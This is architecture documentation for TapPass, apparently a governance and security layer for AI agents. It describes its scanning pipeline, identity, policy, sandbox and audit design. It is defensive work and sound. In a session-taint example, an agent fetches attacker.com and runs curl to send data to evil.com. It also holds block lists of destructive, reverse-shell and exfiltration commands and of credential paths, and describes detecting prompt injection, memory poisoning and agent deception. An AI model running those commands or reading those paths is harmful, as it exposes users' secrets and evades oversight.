Skip to content

Architecture

TapPass is a governance control plane for AI agents. It answers one question: “Can this agent do this thing, with this data, right now?”

Every building block exists to make that question answerable, with cryptographic proof.


┌──────────┐ ┌──────────────────────────────────────────┐ ┌──────────┐
│ │ │ TapPass Server │ │ │
│ Agent │───────▶│ │───────▶│ LLM │
│ (SDK) │ │ ┌────────┐ ┌──────────┐ ┌─────────┐ │ │ Provider │
│ │◀───────│ │ Input │─▶│ Pipeline │─▶│ Output │ │◀───────│ │
└──────────┘ │ │ Scan │ │ Execute │ │ Scan │ │ └──────────┘
│ └────────┘ └──────────┘ └─────────┘ │
Cursor │ │ │ │ │ OpenAI
CrewAI │ ▼ ▼ ▼ │ Anthropic
LangChain │ ┌────────────────────────────────────┐ │ Azure
Custom │ │ OPA Policy │ Audit Trail │ KV │ │ Ollama
│ └────────────────────────────────────┘ │ vLLM
└──────────────────────────────────────────┘

Input Scan: PII detection, prompt injection, data classification, exfiltration checks, taint labeling. Pipeline Execute: Permission check, capability token minting, LLM/tool call with governance. Output Scan: DLP, response classification, taint tracking, audit logging.

A block at any step returns HTTP 403 with the reason. The agent never reaches the LLM.


TapPass has six domains. Every feature lives in exactly one.

┌──────────────┐ ┌──────────────┐ ┌──────────────┐
│ Pipeline │ │ Identity │ │ Policy │
│ │ │ │ │ │
│ Input scan │ │ SPIFFE IDs │ │ OPA/Rego │
│ Execution │ │ SSO/SAML │ │ Fail-closed │
│ Output scan │ │ Cap tokens │ │ Data class │
└──────────────┘ └──────────────┘ └──────────────┘
┌──────────────┐ ┌──────────────┐ ┌──────────────┐
│ Audit │ │ Sandbox │ │ Assessment │
│ │ │ │ │ │
│ Hash chain │ │ Trust tiers │ │ Host scan │
│ SIEM export │ │ Kernel-lvl │ │ OWASP map │
│ Dashboards │ │ Forbidden │ │ Compliance │
└──────────────┘ └──────────────┘ └──────────────┘

The six domains below are MECE. every feature in TapPass lives in exactly one.


Everything about who the agent is, how healthy it is, and what it’s allowed to be.

Problem: API keys leak, passwords rotate, service accounts get shared. You can’t govern what you can’t identify.

Solution: SPIFFE (Secure Production Identity Framework for Everyone). the identity standard used by Kubernetes and Istio. Agents get cryptographic certificates, not passwords.

spiffe:/tappass.internal/agent/acme/research-bot
└── trust domain ──┘ └─ org ┘ └─ agent ──┘

Authentication chain. four methods, tried in priority order:

┌──────────────────────────┬──────────────────┬──────────────┐
│ Method │ Who │ How │
├──────────────────────────┼──────────────────┼──────────────┤
│ ① SPIFFE X509-SVID │ AI agents │ mTLS (1h) │
│ ② SPIFFE JWT-SVID │ AI agents │ Bearer (5m) │
│ ③ Session JWT │ Humans │ SSO/SAML │
│ ④ Admin API key │ Bootstrap only │ Bearer │
└──────────────────────────┴──────────────────┴──────────────┘
No match → 401

RBAC. five roles with numeric levels:

super_admin (40) ── cross-org access, all operations
org_admin (30) ── team management, pipeline config
developer (20) ── agent registration, API access
auditor (10) ── read-only: audit trail, compliance
employee (0) ── dashboard, OAuth connections

Problem: “Is this agent healthy?” needs more than a binary pass/fail. CISOs need a single number that tracks trends across dimensions.

Solution: A 0–100 composite score across five weighted dimensions, computed on-read from the audit trail. No new instrumentation. pure aggregation over existing audit events.

┌───────────────────────────────────────────────────────────────┐
│ │
│ ╭────────╮ Dimensions & Weights │
│ ╱ 87 ╲ │
│ ╱ Grade B ╲ Compliance ████████░░ 30% │
│ │ Trend: ↑ │ Data Safety ███████░░░ 25% │
│ ╲ ╱ Security ██████░░░░ 20% │
│ ╲ ╱ Stability █████░░░░░ 15% │
│ ╰────────╯ Efficiency ███░░░░░░░ 10% │
│ │
└───────────────────────────────────────────────────────────────┘
Scoring philosophy:
• Perfect agent → 95 (never 100. always room to improve)
• Zero activity →. (not 100. absence ≠ health)
• Log-scale penalties (a few incidents don't destroy the score)
• Trend = current 30 days vs. previous 30 days
DimensionWhat it measuresScoring
Compliance (30%)Pass rate (blocks / total calls)0% blocks → 95. Log-curve penalty.
Data Safety (25%)PII exposure, secret leaks, output PIIInput PII mild. Output PII moderate. Secrets heavy.
Security (20%)Injection, escalation, code exec attemptsEven 1 injection is notable. Sustained → heavy.
Stability (15%)Classification entropy, escalation rateLow entropy = predictable = good.
Efficiency (10%)Cost per call, budget spikes<$0.01/call → 95. >$0.20/call → below 65.

Pact adherence: When an agent has a behavioral pact, stability is replaced with pact adherence: measuring “is the agent doing what it’s supposed to?” instead of just “is it consistent?“

Problem: The pipeline says what’s allowed. But what’s intended? An agent allowed to handle RESTRICTED data might only be intended for INTERNAL.

Solution: A structured declaration of an agent’s purpose, stored alongside registration. Versioned. pact changes never retroactively penalize historical behavior.

Pact: "research-bot"
┌──────────────────────────────────────────────────────────┐
│ purpose: "Process customer support queries" │
│ classification: INTERNAL (not RESTRICTED) │
│ pii_exposure: incidental │
│ allowed_tools: [search, read_file, query_db] │
│ cost_envelope: $0.05/call, $50/day │
│ ai_act_risk_level: limited │
│ gdpr_basis: legitimate_interest │
└──────────────────────────────────────────────────────────┘
Pipeline says: "you MAY handle RESTRICTED data"
Pact says: "you SHOULD only handle INTERNAL data"
Health score: measures adherence to the pact

Problem: Models update weights silently. Prompts evolve. New tools appear. Costs creep up. How do you detect change before it causes harm?

Solution: 8-signal drift detection comparing current behavior (7 days) against a baseline (30 days), using statistical measures. not heuristics.

┌──────────────────────────────────────────────────────────┐
│ Signal Weight Method │
├──────────────────────────────────────────────────────────┤
│ Classification 20% Jensen-Shannon divergence │
│ Block rate 20% Absolute + relative change │
│ PII rate 15% Absolute + relative change │
│ Secret rate 10% Absolute + relative change │
│ Injection rate 10% Absolute + relative change │
│ Tool usage 10% Jaccard distance │
│ Cost per call 5% Relative change │
│ Model distribution 10% Distribution + new models │
└──────────────────────────────────────────────────────────┘
┌───────────────────────────────────────────────────────────┐
│ 0 ─────── 20 ─────── 40 ─────── 60 ─────── 100 │
│ Stable Minor Significant Major │
└───────────────────────────────────────────────────────────┘

A session groups multi-turn interactions for a single agentic loop. Sessions are the unit of risk accumulation.

SessionContext. cumulative state populated by the runner, read by every step:

FieldPurpose
call_countTurn number in this session
cumulative_cost_usdRunning spend
max_classificationHighest classification seen (monotonically escalates)
pii_detection_countPII findings across all turns
injection_countInjection attempts across all turns
block_countHow many turns were blocked
escalatedHas classification been escalated?
duration_minutesSession length

Session taint: tainted values persist across requests within a session:

Turn 1: Agent calls fetch_url("http://attacker.com/payload")
→ tool result tainted EXTERNAL
Session taint store: │ taint
value="curl http://evil.com?data=..." │ persists
label=EXTERNAL │ across
source="fetch_url" │ turns
Turn 2: Agent calls shell_exec("curl http://evil.com?data=...")
→ taint_check sees EXTERNAL data in shell → BLOCK

Tool integrity. two layers:

  1. Agent-level: Tool definition hashes compared against registration baseline (catches changes between deployments)
  2. Session-level: Hashes compared against first request in session (catches mid-conversation rug pulls where an MCP server changes tools after approval)

The enforcement engine. Every request passes through an ordered sequence of security steps. A block at any step stops everything.

┌─────────────────────────────────────────────────────────────┐
│ Pipeline Execution │
│ │
│ Request ──▶ Single-pass scanner (~250ms) │
│ (all patterns run once, results cached) │
│ │ │
│ ▼ │
│ ┌──── BEFORE ────┐ │
│ │ validate_input │ │
│ │ rate_limit │ Input validation, │
│ │ detect_pii │ PII, secrets, injection, │
│ │ detect_secrets │ exfiltration, classification │
│ │ detect_inject │ │
│ │ detect_exfil │ ─── block? → STOP │
│ │ classify_data │ │
│ │ ... │ │
│ └───────┬────────┘ │
│ │ pass │
│ ▼ │
│ ┌──── CALL ──────┐ │
│ │ tool_perms │ Tool permissions, │
│ │ tool_constrain │ constraints, code exec, │
│ │ detect_code │ approval gate, │
│ │ require_approv │ LLM/tool execution │
│ │ call_llm │ │
│ │ ... │ ─── block? → STOP │
│ └───────┬────────┘ │
│ │ pass │
│ ▼ │
│ ┌──── AFTER ─────┐ │
│ │ scan_output │ Output DLP, taint check, │
│ │ taint_check │ shell bleed, cost tracking, │
│ │ shell_bleed │ dedup, pii restore │
│ │ cost_tracking │ │
│ │ ... │ ─── block? → STOP │
│ └───────┬────────┘ │
│ │ pass │
│ ▼ │
│ Capability Token minted │
│ Audit event written │
│ Response returned │
└─────────────────────────────────────────────────────────────┘

Step anatomy. every step is a single class with one method:

@register("detect_pii", position=200)
class DetectPII:
name = "detect_pii"
step_type = "deterministic"
async def execute(self, ctx: PipelineContext) -> StepResult:
scan = ctx.findings.get("_input_scan", {}) # read from cache
pii = scan.get("pii", [])
if pii and self.config.on_detection == "block":
return StepResult(step=self.name, action="block",
detected=True, message="PII detected")
return StepResult(step=self.name, action="continue")

PipelineContext. the shared state for a pipeline run:

┌─────────────────────────────────────────────────────────┐
│ PipelineContext │
│ │
│ Identity pipeline_id, session_id, agent_id, │
│ org_id, user_id, mode (llm/tool) │
│ │
│ LLM Request messages, model, temperature, tools │
│ │
│ Tool Request resource, operation, params │
│ │
│ Findings step_name → detection data (dict) │
│ _input_scan (cached scanner results) │
│ _output_scan (cached output scan) │
│ │
│ Response LLM/tool response (set by call step) │
│ │
│ Step Results ordered list of StepResult │
│ │
│ Session Context cumulative session state │
│ │
│ Governance Flags parsed X-TapPass-Flags header │
└─────────────────────────────────────────────────────────┘
#StepPosPhaseWhat it does
1validate_input100beforeSchema validation, message limits
2rate_limit110beforePer-agent rate limiting
3budget_enforcement120beforePer-call cost cap
4session_budget130beforePer-session cost cap
5verify_tool_governance140beforeVerify tool governance headers
6adaptive_thresholds150beforeAdjust thresholds by session risk
7detect_pii200beforePII detection (Presidio + regex)
8inspect_images205beforeOCR images for hidden text
9detect_unicode207beforeUnicode attacks (homoglyphs, RTL)
10detect_secrets210beforeAPI keys, passwords, tokens
11detect_infra220beforeInternal URLs, IPs, hostnames
12detect_business230beforeBusiness-sensitive data
13detect_multimodal235beforeMultimodal injection
14pii_tokenize240beforeReplace PII with tokens
15detect_exfiltration355beforePaste sites, DNS tunneling, webhooks
16detect_memory_poison360beforeMEMORY.md writes, identity override
17detect_insider_threat365beforeSelf-preservation, deception, session-aware
18detect_injection400before5-category prompt injection
19detect_escalation410before4-stage privilege escalation
20detect_tool_poison420beforeMalicious tool descriptions
21classify_data500beforePUBLIC→INTERNAL→CONFIDENTIAL→RESTRICTED
22session_escalation510beforeEscalate session classification
23filter_tools520beforeRemove tools by classification
24model_routing530beforeRoute to model by classification
25content_safety540beforeToxicity, bias detection
26tool_permissions600callAllow/deny tool by agent
27tool_constraints610callArgument-level restrictions
28user_tool_scopes615callPer-user tool scoping
29detect_code_exec620call31 dangerous shell patterns
30scan_tool_calls625callPath traversal, forbidden zones
31require_approval640callHuman-in-the-loop approval gate
32call_llm700callForward to LLM provider
33call_tool700callExecute governed tool
34scan_tool_results710callScan tool return values
35redact_tool_results715callRedact tool result PII
36scan_output800afterDLP on LLM response
37taint_check810afterBlock tainted data at sinks
38shell_bleed820afterDetect PII leaking into shell
39verify_artifact825afterVerify artifact integrity
40constrain_output830afterEnforce output constraints
41dedup_output835afterDeduplicate responses
42pii_restore840afterRestore tokenized PII (partial)
43cost_tracking900afterRecord cost and tokens
44loop_guard / session_loop_guard910afterDetect infinite loops
┌─────────────────────────────────────────────────────────────────┐
│ │
│ Starter (~11) Standard (~37) Regulated (~43) │
│ ───────────── ──────────────── ────────────────── │
│ ✓ Validation ✓ Everything in ✓ Everything in │
│ ✓ Rate limit Starter Standard │
│ ✓ Basic PII ✓ Secrets ✓ LLM judge │
│ ✓ Injection ✓ Classification ✓ Content safety │
│ ✓ Output scan ✓ Tool permissions ✓ Approval gate │
│ ✓ Cost tracking ✓ Taint tracking ✓ Unicode attacks │
│ ✓ Exfiltration ✓ Full tool scan │
│ ✓ Memory poison ✓ Loop guard │
│ ✓ Insider threat ✓ Debug logging │
│ ✓ Shell bleed │
│ │
│ Use case: Use case: Use case: │
│ Dev, CI, internal Production, external Financial, health, │
│ low-risk agents facing agents EU AI Act high-risk │
│ │
│ Trust tier mapping: │
│ Observer/Worker Standard Standard (strict) │
└─────────────────────────────────────────────────────────────────┘
ModeBehaviorUse case
observeLog everything, block nothingWeek 1: see what TapPass catches
warnDetections logged, traffic flowsShadow deployment, tuning thresholds
enforceBlocks are enforced (default)Production
lockdownAny detection → immediate blockIncident response

One HTTP header that controls behavior without touching policy files:

X-TapPass-Flags: mode=observe, pii=mask, email=internal:company.com, budget=dev
FlagValuesWhat it controls
modeobserve · warn · enforce · lockdownOverall posture
piimask · block · flag · offPII handling
emailmirror:addr · internal:domain · blockEmail restrictions
budgetdev · standard · custom:X:YCost caps
toolsallowlist:... · denylist:... · blockTool restrictions
filesread_only · project · sandbox · blockFile access
secretsredact · block · flagSecret handling

Resolution order: per-call flags > agent defaults > org policy > preset defaults.


All policy decisions are externalized to OPA (Open Policy Agent): a CNCF-graduated engine running as a sidecar. TapPass enforces OPA’s decisions. TapPass itself has zero built-in policy logic.

┌───────────────────────────────────────────────────────────────┐
│ │
│ TapPass OPA Sidecar │
│ ┌─────────────┐ POST /v1/data ┌─────────────────┐ │
│ │ Pipeline │ ───────────────▶ │ authz.rego │ │
│ │ Builder │ │ pipeline.rego │ │
│ │ │ ◀─────────────── │ tools.rego │ │
│ │ Reads │ JSON decision │ routing.rego │ │
│ │ decision │ │ breakglass.rego│ │
│ │ & builds │ │ guardrails.rego│ │
│ │ steps │ │ │ │
│ └─────────────┘ │ data.json │ │
│ │ (presets, orgs)│ │
│ Fail-closed: └─────────────────┘ │
│ OPA unreachable → ALL requests denied │
│ │
└───────────────────────────────────────────────────────────────┘
ModuleQuestion it answers
authz.regoCan this identity access this endpoint?
pipeline.regoWhich steps run? With what config?
tools.regoWhich tools is this agent allowed to call?
routing.regoWhich model for this classification level?
breakglass.regoIs this emergency override authorized?
guardrails.regoBlock, redact, or notify on detection?

After the pipeline passes, TapPass mints an ES256-signed JWT: cryptographic proof that governance happened.

┌──────────────────────────────────────────────────────────────┐
│ Capability Token (ES256 signed JWT) │
│ │
│ Header │
│ iss: "tappass" ← issuer │
│ sub: "research-bot" ← agent identity │
│ jti: "abc123..." ← unique ID (replay protection) │
│ exp: +60s ← time-bounded │
│ │
│ Scope (what the agent CAN do) │
│ tools: ["search", "read"] ← allowed tool names │
│ ops: ["read"] ← allowed operations │
│ cstr: {read: {root: "/data"}} ← argument constraints │
│ cls: "INTERNAL" ← max data classification │
│ max_use: 2 ← usage limit per JTI │
│ │
│ Trust attestation (externally verifiable) │
│ health: 87.3 ← agent health score 0–100 │
│ compliance: "standard" ← pipeline preset in use │
│ checks: 37 ← pipeline steps passed │
│ │
│ Verification │
│ GET /.well-known/jwks.json → public key │
│ Verify signature in ~27μs (no TapPass call needed) │
└──────────────────────────────────────────────────────────────┘

The token defines scope, not exact arguments. The agent reasons freely within these boundaries:

Token says: Agent is free to:
tools: [salesforce_query] ← call this tool
ops: [read] ← read only
cstr: {query: {deny: ["DELETE"]}} ← no DELETE in SQL
Choose the query
Modify parameters
Retry with different args

After classify_data determines the real classification, TapPass re-queries OPA. Classification overrides can retroactively escalate prior detections:

Before classify_data: After classify_data (RESTRICTED):
────────────────────── ──────────────────────────────────
detect_pii → redact ──▶ RESTRICTED override → BLOCK
detect_secrets → log ──▶ CONFIDENTIAL+ override → BLOCK

Three layers of tool governance, each progressively more granular:

Layer 1: PERMISSIONS. which tools can this agent use?
┌──────────────────────────────────────────────────────────┐
│ allow: [search, read_file, query_db] │
│ deny: [send_email, delete_user, exec_shell] │
└──────────────────────────────────────────────────────────┘
Layer 2: CONSTRAINTS. how can this tool be used?
┌──────────────────────────────────────────────────────────┐
│ read_file: │
│ path: {type: subpath, root: "/data"} │
│ send_email: │
│ to: {include: ["*@company.com"]} │
│ query_db: │
│ query: {deny_patterns: ["DELETE", "DROP", "UPDATE"]} │
└──────────────────────────────────────────────────────────┘
Layer 3: SCANNING. what does the argument contain?
┌──────────────────────────────────────────────────────────┐
│ ✗ Path traversal (../../etc/passwd) │
│ ✗ Forbidden zones (74 protected paths) │
│ ✗ Unicode bypass (null bytes, Cyrillic confusables) │
│ ✗ Shell injection in arguments │
│ ✗ Dangerous commands (31 patterns) │
└──────────────────────────────────────────────────────────┘

Host-level isolation that controls what agents can do on the operating system, independent of the pipeline.

Four tiers of progressive permissions. Agents start minimal and earn access.

┌─────────────┬─────────────┬─────────────┬─────────────┐
│ Observer │ Worker │ Standard │ Full │
├─────────────┼─────────────┼─────────────┼─────────────┤
│ Read: │ Read: │ Read: │ Read: │
│ workspace │ workspace │ system │ everything │
├─────────────┼─────────────┼─────────────┼─────────────┤
│ Write: │ Write: │ Write: │ Write: │
│ none │ workspace │ workspace │ everything │
├─────────────┼─────────────┼─────────────┼─────────────┤
│ Shell: │ Shell: │ Shell: │ Shell: │
│ none │ safe only │ standard │ everything │
│ │ (ls, cat, │ (no sudo, │ (logged) │
│ │ git) │ no rm -rf)│ │
├─────────────┼─────────────┼─────────────┼─────────────┤
│ Network: │ Network: │ Network: │ Network: │
│ none │ fetch only │ full │ full │
│ │ (no POST) │ │ │
└─────────────┴─────────────┴─────────────┴─────────────┘

Auto-escalation. earned trust:

From → ToMin ScoreClean CallsMax Violations
Observer → Worker300500
Worker → Standard500200≤ 2
Standard → Full8001,0000

Protected paths that agents must never access, regardless of trust tier (Full tier: logged, not blocked).

┌───────────────────────────────────────────────────────────┐
│ Category Count Examples │
├───────────────────────────────────────────────────────────┤
│ Credentials 22 ~/.ssh/*, ~/.gnupg/*, .env │
│ Cloud 20 ~/.aws/*, ~/.azure/*, .kube/ │
│ Browser 12 Chrome Login Data, Firefox logins │
│ Crypto 8 Metamask vaults, Bitcoin wallets │
│ System 5 /etc/shadow, /etc/sudoers │
│ CI/CD 4 .github/secrets, .circleci/ │
│ Password Mgr 3 1Password, Bitwarden, KeePass │
└───────────────────────────────────────────────────────────┘
Unicode bypass protection on all 74 zones:
• Null bytes stripped (path%00.txt)
• Zero-width chars removed (U+200B, U+FEFF)
• Cyrillic confusables mapped (30 chars: а→a, е→e, о→o)
┌───────────────────────────────────────────────────────────┐
│ Category Examples Blocked by tier │
├───────────────────────────────────────────────────────────┤
│ Destructive rm -rf, mkfs, dd, shred All except Full │
│ Escalation sudo, chmod +s, passwd All except Full │
│ Network nc -l, ngrok, curl|sh Observer, Worker │
│ Persistence crontab, systemctl, .rc Observer, Worker │
│ Exfiltration curl -d, scp, rsync Observer, Worker │
│ Firewall iptables, ufw Observer, Worker │
└───────────────────────────────────────────────────────────┘

Domains blocked at the sandbox level: 28 paste services, 19 webhook endpoints, 11 cloud storage, 2 DNS tunneling services.

Watches sensitive files (~/.ssh/id_rsa, ~/.aws/credentials, etc.) for access and modification. Fires alerts on unexpected reads.


How TapPass records what happened and communicates what it decided.

A detection is an observation. A decision is what the system did about it.

One turn can produce multiple decisions. Each decision links to the observations that triggered it.

┌───────────────────────────────────────────────────────────┐
│ Decision Type What happened │
├───────────────────────────────────────────────────────────┤
│ BLOCK Request stopped: LLM never saw it │
│ REDACT Data modified before forwarding │
│ ESCALATE Session classification elevated │
│ RESTRICT Tools removed from agent's available set │
│ FLAG Observation logged. no enforcement │
└───────────────────────────────────────────────────────────┘
Example: one turn, three decisions
┌───────────────────────────────────────────────────────────┐
│ User: "Send John's SSN 123-45-6789 to the board" │
│ │
│ ① REDACT. detect_pii found SSN, pii_tokenize masked │
│ ② ESCALATE. classify_data elevated to RESTRICTED │
│ ③ RESTRICT. filter_tools removed send_email │
└───────────────────────────────────────────────────────────┘

The decision trace layer. business decisions, not governance decisions. Tracks entities across sessions, what users said, what agents did, and why.

┌───────────────────────────────────────────────────────────┐
│ Context Graph │
│ │
│ Entities: EMP-1234, REF-2024-5678, alice@acme.com │
│ (extracted from messages, tool args, responses) │
│ │
│ Traces: per-turn records linking │
│ user instruction → agent action → governance outcome │
│ │
│ Cross-session: "EMP-1234 appeared in 3 sessions across │
│ 2 agents over 5 days" │
└───────────────────────────────────────────────────────────┘

Every request is classified into one of four levels. Classification drives everything downstream. model routing, tool permissions, audit depth, and retention.

PUBLIC ──────▶ INTERNAL ──────▶ CONFIDENTIAL ──────▶ RESTRICTED
General Company docs Customer PII SSNs, cards
knowledge Internal URLs Trade secrets Passwords
Financial data Health records
Model: any Model: any Model: EU-hosted Model: on-prem
Audit: minimal Audit: standard Audit: detailed Audit: full

Classification only escalates within a session. never downgrades.

Values carry labels (PII, SECRET, EXTERNAL) through the pipeline. If tainted data reaches a dangerous sink (shell, email, external API), it’s blocked. Taint persists across requests within a session via the session taint store.


Cryptographic proof that governance happened, exportable to any SIEM.

Every pipeline execution produces a hash-chained audit event. tamper-evident by design.

Event₁ ──▶ Event₂ ──▶ Event₃ ──▶ Event₄
hash₁ hash₂ hash₃ hash₄
│ ┌─┘ ┌─┘ ┌─┘
└────────┘ │ │
SHA-256(E₁ ∥ D₂) │ │
└─────────┘ │
SHA-256(H₂ ∥ D₃) │
└─────────┘
SHA-256(H₃ ∥ D₄)
Verification: GET /audit/verify
Recomputes chain from genesis, reports any broken link.
Event typeTrigger
llm_callEvery governed LLM call
llm_call_blockedPipeline blocks a request
tool_executedAgent calls a tool
agent_registeredNew agent registered
pipeline_createdPipeline config changed
policy_changedOPA policy updated

Real-time export via HMAC-signed webhooks:

FormatTarget
CEFSplunk, QRadar
OCSFAmazon Security Lake
JSONGeneric (HMAC-signed)
InstrumentTypeWhat it measures
tappass_http_requests_totalCounterRequests by method, path, status
tappass_pipeline_blocks_totalCounterPipeline blocks by step
tappass_pii_detections_totalCounterPII detections by type
tappass_capability_tokens_totalCounterTokens minted/denied/expired
tappass_active_agentsGaugeActive agents
tappass_pipeline_duration_secondsHistogramPipeline latency

Traces follow GenAI semantic conventions (OpenTelemetry): every span includes model, tokens, classification.

Pre-built policy bundles for regulated industries:

PackSteps enabledWhat it adds
financial_services43PCI DSS patterns, transaction limits
financial_credentials43SWIFT, IBAN, card detection
healthcare43HIPAA PHI patterns, HL7 data
eu_ai_act_high_risk43Article 14 transparency, risk logging
hr_employment43Salary, performance review detection
nis243NIS2 incident reporting, supply chain

tappass assess audits your host in one command and generates a CISO-ready report:

  • Code exposure: Git repos, API keys in env vars
  • MCP tools. Tool discovery, governance gaps
  • Agent memory. MEMORY.md files scanned for poisoning
  • Forbidden zones. 17 critical paths checked for agent access
  • OWASP compliance. ASI01–ASI10 gap analysis
  • Risk score. 0–100 across 5 dimensions (host, compliance, data, tools, identity)

┌──────────────────────────────────────────────────────────────┐
│ Request Lifecycle │
│ │
│ ① IDENTITY │
│ SPIFFE / SSO → who is this agent? │
│ RBAC → what role does it have? │
│ │ │
│ ② POLICY ▼ │
│ OPA query → what pipeline config? │
│ Presets → which steps, what thresholds? │
│ │ │
│ ③ PIPELINE ▼ │
│ 49 steps in 3 phases │
│ Single-pass scanner → detect → classify → execute │
│ Session context → accumulate risk across turns │
│ Taint tracking → label and trace sensitive data │
│ │ │
│ ④ SANDBOX ▼ │
│ Trust tier → what can the host do? │
│ Forbidden zones → block protected paths │
│ Dangerous commands → block/warn by tier │
│ │ │
│ ⑤ DECISIONS ▼ │
│ Block / Redact / Escalate / Restrict / Flag │
│ Context graph → entities, instructions, actions │
│ │ │
│ ⑥ COMPLIANCE ▼ │
│ Capability token → cryptographic proof (ES256, 60s) │
│ Audit event → hash-chained (SHA-256) │
│ SIEM export → CEF / OCSF / JSON │
│ Health score → feed back into tokens (trust attestation)│
│ Drift detection → alert on behavioral change │
└──────────────────────────────────────────────────────────────┘

DomainBuilding BlocksKey Numbers
AgentsIdentity, Health Score, Pacts, Drift, Sessions4 auth methods, 5 dimensions, 8 drift signals
Pipeline44 Steps, Presets, Modes, Flags3 phases, 3 presets, 4 modes, 7 flags
PolicyOPA/Rego, Tokens, Classification, Tool Constraints6 Rego modules, ES256 tokens, 74 forbidden zones
SandboxTrust Tiers, Commands, Exfil Blocklist, Credential Monitor4 tiers, 28 commands, 60 blocked domains
DecisionsBlock/Redact/Escalate/Restrict/Flag, Context Graph, Taint5 decision types, 13 entity patterns
ComplianceAudit Trail, SIEM, Observability, Guardrail Packs, AssessmentSHA-256 chain, 3 SIEM formats, 6 packs